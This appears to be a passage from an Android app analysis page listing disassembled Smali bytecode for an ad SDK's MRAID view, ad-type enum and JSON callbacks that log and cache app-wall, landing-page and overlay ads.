57 | new-instance v5, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$7; | |
59 | invoke-direct {v5, p0}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$7;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;)V | |
61 | invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z | |
62 | goto_4d: return-void | |
63 | cond_4e: | |
64 | const-string v4, "allowOrientationChange" | |
66 | invoke-virtual {v3, v4}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z |
|
67 | move-result v0 | |
68 | goto/16 :goto_27 | |
69 | cond_55: | |
70 | const-string v4, "forceOrientation" | |
72 | invoke-virtual {v3, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
73 | try_end_5a: move-result-object v2 | |
74 | goto/16 :goto_31 | |
75 | catch_5c: move-exception v1 | |
77 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
79 | const-string v5, "setOrientationProperties" | |
81 | const-string v6, "Error occured in while parsing orientation json." | |
83 | invoke-virtual {v4, v5, v6}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
84 | goto/16 :goto_4d |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->widthDp:I | |
3 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics; | |
4 | iget v4, v4, Landroid/util/DisplayMetrics;->heightPixels:I | |
6 | invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getTokenSize()I | |
7 | move-result v5 | |
8 | sub-int/2addr v4, v5 | |
9 | int-to-float v4, v4 | |
11 | invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context; | |
12 | move-result-object v5 | |
14 | invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F | |
15 | move-result v4 | |
16 | float-to-int v1, v4 | |
17 | new-instance v2, Lorg/json/JSONObject; | |
19 | invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V | |
21 | const-string v4, "width" | |
23 | invoke-virtual {v2, v4, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
25 | const-string v4, "height" | |
27 | invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
28 | new-instance v4, Ljava/lang/StringBuilder; | |
30 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
32 | const-string v5, "mraid.setMaxSize(" | |
34 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
35 | move-result-object v4 | |
37 | invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
38 | move-result-object v4 | |
40 | const-string v5, ");" | |
42 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
43 | move-result-object v4 | |
45 | invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
46 | move-result-object v4 | |
48 | invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
49 | try_end_40: return-void | |
50 | catch_41: move-exception v0 | |
52 | const-string v4, "setMaxSize" | |
54 | const-string v5, "Error occured while setting max size." | |
56 | invoke-virtual {p0, v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
58 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
59 | goto/16 :goto_40 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v7, 0x4 | |
2 | const/4 v6, 0x3 | |
3 | const/4 v5, 0x2 | |
4 | const/4 v4, 0x1 | |
5 | const/4 v3, 0x0 | |
6 | new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
8 | const-string v1, "MRW" | |
10 | invoke-direct {v0, v1, v3}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V |
|
11 | sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRW:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
12 | new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
14 | const-string v1, "MRA" | |
16 | invoke-direct {v0, v1, v4}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V |
|
17 | sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRA:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
18 | new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
20 | const-string v1, "MRCM" | |
22 | invoke-direct {v0, v1, v5}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V |
|
23 | sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCM:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
24 | new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
26 | const-string v1, "MRCC" | |
28 | invoke-direct {v0, v1, v6}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V |
|
29 | sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCC:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
30 | new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
32 | const-string v1, "MRIV" | |
34 | invoke-direct {v0, v1, v7}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V |
|
35 | sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRIV:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
36 | new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
38 | const-string v1, "MRCE" | |
39 | const/4 v2, 0x5 | |
41 | invoke-direct {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V |
|
42 | sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCE:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
43 | new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
45 | const-string v1, "MRFSV" | |
46 | const/4 v2, 0x6 | |
48 | invoke-direct {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V |
|
49 | sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRFSV:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
50 | new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
52 | const-string v1, "MRAW" | |
53 | const/4 v2, 0x7 | |
55 | invoke-direct {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V |
|
56 | sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRAW:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
57 | new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
59 | const-string v1, "MRSP" | |
60 | const/16 v2, 0x8 | |
62 | invoke-direct {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V |
|
63 | sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRSP:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
64 | const/16 v0, 0x9 | |
65 | new-array v0, v0, [Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
67 | sget-object v1, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRW:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
68 | aput-object v1, v0, v3 | |
70 | sget-object v1, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRA:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
71 | aput-object v1, v0, v4 | |
73 | sget-object v1, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCM:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
74 | aput-object v1, v0, v5 | |
76 | sget-object v1, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCC:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
77 | aput-object v1, v0, v6 | |
79 | sget-object v1, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRIV:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
80 | aput-object v1, v0, v7 | |
81 | const/4 v1, 0x5 | |
83 | sget-object v2, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCE:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
84 | aput-object v2, v0, v1 | |
85 | const/4 v1, 0x6 | |
87 | sget-object v2, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRFSV:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
88 | aput-object v2, v0, v1 | |
89 | const/4 v1, 0x7 | |
91 | sget-object v2, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRAW:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
92 | aput-object v2, v0, v1 | |
93 | const/16 v1, 0x8 | |
95 | sget-object v2, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRSP:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
96 | aput-object v2, v0, v1 | |
97 | sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->$VALUES:[Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE; | |
98 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/String; | |
1 | .prologue | |
3 | const-string v4, "AirplaySDK" | |
4 | new-instance v5, Ljava/lang/StringBuilder; | |
6 | invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V | |
8 | const-string v6, "AppWall Json: " | |
10 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
11 | move-result-object v5 | |
13 | invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
14 | move-result-object v5 | |
16 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
17 | move-result-object v5 | |
19 | invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
20 | if-nez p1, :cond_1b | |
21 | goto_1a: return-void | |
22 | try_start_1b: sget-boolean v4, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z | |
23 | if-eqz v4, :cond_6b | |
24 | new-instance v1, Lorg/json/JSONObject; | |
26 | invoke-direct {v1, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
28 | const-string v4, "status" | |
30 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
31 | move-result v4 | |
32 | if-eqz v4, :cond_59 | |
33 | const/4 v3, 0x0 | |
34 | goto_2d: | |
35 | const-string v4, "message" | |
37 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
38 | move-result v4 | |
39 | if-eqz v4, :cond_60 | |
41 | const-string v2, "invalid" | |
42 | goto_37: const/16 v4, 0xc8 | |
43 | if-ne v3, v4, :cond_67 | |
45 | const-string v4, "Success" | |
47 | invoke-virtual {v2, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
48 | move-result v4 | |
49 | if-eqz v4, :cond_67 | |
51 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$3;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
53 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching; | |
54 | move-result-object v4 | |
56 | sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
58 | invoke-virtual {v4, v5, p1}, Lcom/vxjxu/jkhfn1870/Caching;->saveJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;Ljava/lang/String;)Z | |
60 | sget-object v4, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
62 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V | |
63 | try_end_53: goto/16 :goto_1a | |
64 | catch_54: move-exception v0 | |
66 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
67 | goto/16 :goto_1a | |
68 | try_start_59: | |
69 | const-string v4, "status" | |
71 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
72 | move-result v3 | |
73 | goto/16 :goto_2d | |
74 | cond_60: | |
75 | const-string v4, "message" | |
77 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
78 | move-result-object v2 | |
79 | goto/16 :goto_37 | |
80 | cond_67: | |
81 | invoke-static {v3, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
82 | goto/16 :goto_1a | |
83 | cond_6b: | |
84 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$3;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
86 | invoke-virtual {v4, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseAppWallJson(Ljava/lang/String;)V | |
87 | try_end_70: goto/16 :goto_1a |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/String; | |
1 | .prologue | |
3 | const-string v4, "AirplaySDK" | |
4 | new-instance v5, Ljava/lang/StringBuilder; | |
6 | invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V | |
8 | const-string v6, "LandingPage Json: " | |
10 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
11 | move-result-object v5 | |
13 | invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
14 | move-result-object v5 | |
16 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
17 | move-result-object v5 | |
19 | invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
20 | if-nez p1, :cond_1b | |
21 | goto_1a: return-void | |
22 | try_start_1b: sget-boolean v4, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z | |
23 | if-eqz v4, :cond_6b | |
24 | new-instance v1, Lorg/json/JSONObject; | |
26 | invoke-direct {v1, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
28 | const-string v4, "status" | |
30 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
31 | move-result v4 | |
32 | if-eqz v4, :cond_59 | |
33 | const/4 v3, 0x0 | |
34 | goto_2d: | |
35 | const-string v4, "message" | |
37 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
38 | move-result v4 | |
39 | if-eqz v4, :cond_60 | |
41 | const-string v2, "invalid" | |
42 | goto_37: const/16 v4, 0xc8 | |
43 | if-ne v3, v4, :cond_67 | |
45 | const-string v4, "Success" | |
47 | invoke-virtual {v2, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
48 | move-result v4 | |
49 | if-eqz v4, :cond_67 | |
51 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$4;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
53 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching; | |
54 | move-result-object v4 | |
56 | sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
58 | invoke-virtual {v4, v5, p1}, Lcom/vxjxu/jkhfn1870/Caching;->saveJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;Ljava/lang/String;)Z | |
60 | sget-object v4, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
62 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V | |
63 | try_end_53: goto/16 :goto_1a | |
64 | catch_54: move-exception v0 | |
66 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
67 | goto/16 :goto_1a | |
68 | try_start_59: | |
69 | const-string v4, "status" | |
71 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
72 | move-result v3 | |
73 | goto/16 :goto_2d | |
74 | cond_60: | |
75 | const-string v4, "message" | |
77 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
78 | move-result-object v2 | |
79 | goto/16 :goto_37 | |
80 | cond_67: | |
81 | invoke-static {v3, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
82 | goto/16 :goto_1a | |
83 | cond_6b: | |
84 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$4;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
86 | invoke-virtual {v4, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseLandingPageAdJson(Ljava/lang/String;)V | |
87 | try_end_70: goto/16 :goto_1a |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "result" # Ljava/lang/String; | |
1 | .prologue | |
3 | const-string v4, "AirplaySDK" | |
4 | new-instance v5, Ljava/lang/StringBuilder; | |
6 | invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V | |
8 | const-string v6, "Overlay Json: " | |
10 | invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
11 | move-result-object v5 | |
13 | invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
14 | move-result-object v5 | |
16 | invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
17 | move-result-object v5 | |
19 | invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
20 | if-nez p1, :cond_1b | |
21 | goto_1a: return-void | |
22 | try_start_1b: sget-boolean v4, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z | |
23 | if-eqz v4, :cond_6b | |
24 | new-instance v1, Lorg/json/JSONObject; | |
26 | invoke-direct {v1, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
28 | const-string v4, "status" | |
30 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
31 | move-result v4 | |
32 | if-eqz v4, :cond_59 | |
33 | const/4 v3, 0x0 | |
34 | goto_2d: | |
35 | const-string v4, "message" | |
37 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
38 | move-result v4 | |
39 | if-eqz v4, :cond_60 | |
41 | const-string v2, "invalid" | |
42 | goto_37: const/16 v4, 0xc8 | |
43 | if-ne v3, v4, :cond_67 | |
45 | const-string v4, "Success" | |
47 | invoke-virtual {v2, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
48 | move-result v4 | |
49 | if-eqz v4, :cond_67 | |
51 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$7;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
53 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching; | |
54 | move-result-object v4 | |
56 | sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
58 | invoke-virtual {v4, v5, p1}, Lcom/vxjxu/jkhfn1870/Caching;->saveJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;Ljava/lang/String;)Z | |
60 | sget-object v4, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
62 | invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V | |
63 | try_end_53: goto/16 :goto_1a | |
64 | catch_54: move-exception v0 | |
66 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
67 | goto/16 :goto_1a | |
68 | try_start_59: | |
69 | const-string v4, "status" | |
71 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
72 | move-result v3 | |
73 | goto/16 :goto_2d | |
74 | cond_60: | |
75 | const-string v4, "message" | |
77 | invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
78 | move-result-object v2 | |
79 | goto/16 :goto_37 | |
80 | cond_67: | |
81 | invoke-static {v3, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V | |
82 | goto/16 :goto_1a | |
83 | cond_6b: | |
84 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$7;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay; | |
86 | invoke-static {v4, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$200(Lcom/vxjxu/jkhfn1870/AirPlay;Ljava/lang/String;)V | |
87 | try_end_70: goto/16 :goto_1a |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "json" # Ljava/lang/String; | |
1 | .prologue | |
2 | try_start_0: new-instance v2, Lorg/json/JSONObject; | |
4 | invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
6 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
8 | const-string v3, "width" | |
10 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
11 | move-result v3 | |
12 | if-eqz v3, :cond_37 | |
14 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
16 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$200(Lcom/vxjxu/jkhfn1870/MraidView;)I | |
17 | move-result v3 | |
18 | goto_15: | |
19 | invoke-static {v4, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$402(Lcom/vxjxu/jkhfn1870/MraidView;I)I | |
21 | iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
23 | const-string v3, "height" | |
25 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
26 | move-result v3 | |
27 | if-eqz v3, :cond_3e | |
29 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
31 | invoke-static {v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$300(Lcom/vxjxu/jkhfn1870/MraidView;)I | |
32 | move-result v3 | |
33 | goto_28: | |
34 | invoke-static {v4, v3}, Lcom/vxjxu/jkhfn1870/MraidView;->access$502(Lcom/vxjxu/jkhfn1870/MraidView;I)I | |
36 | const-string v3, "useCustomClose" | |
38 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z |
|
39 | move-result v3 | |
40 | if-eqz v3, :cond_45 | |
41 | const/4 v3, 0x0 | |
42 | goto_34: iput-boolean v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->useCustomClose:Z | |
43 | goto_36: return-void | |
44 | cond_37: | |
45 | const-string v3, "width" | |
47 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
48 | move-result v3 | |
49 | goto/16 :goto_15 | |
50 | cond_3e: | |
51 | const-string v3, "height" | |
53 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I |
|
54 | move-result v3 | |
55 | goto/16 :goto_28 | |
56 | cond_45: | |
57 | const-string v3, "useCustomClose" | |
59 | invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z |
|
60 | try_end_4a: move-result v3 | |
61 | goto/16 :goto_34 | |
62 | catch_4c: move-exception v1 | |
64 | invoke-virtual {v1}, Lorg/json/JSONException;->printStackTrace()V | |
65 | goto/16 :goto_36 | |
66 | catch_51: move-exception v0 | |
68 | iget-object v3, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
70 | const-string v4, "setExpandProperties" | |
72 | const-string v5, "An error occured while parsing expand properties json;" | |
74 | invoke-virtual {v3, v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
75 | goto/16 :goto_36 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: new-instance v1, Lorg/json/JSONObject; | |
3 | invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V | |
5 | const-string v2, "width" | |
6 | iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->widthDp:I | |
8 | invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
10 | const-string v2, "height" | |
11 | iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->heightDp:I | |
13 | invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject; |
|
14 | new-instance v2, Ljava/lang/StringBuilder; | |
16 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
18 | const-string v3, "mraid.setScreenSize(" | |
20 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
21 | move-result-object v2 | |
23 | invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
24 | move-result-object v2 | |
26 | const-string v3, ");" | |
28 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
29 | move-result-object v2 | |
31 | invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
32 | move-result-object v2 | |
34 | invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
35 | goto_2f: return-void | |
36 | catch_30: move-exception v0 | |
38 | const-string v2, "setScreenSize" | |
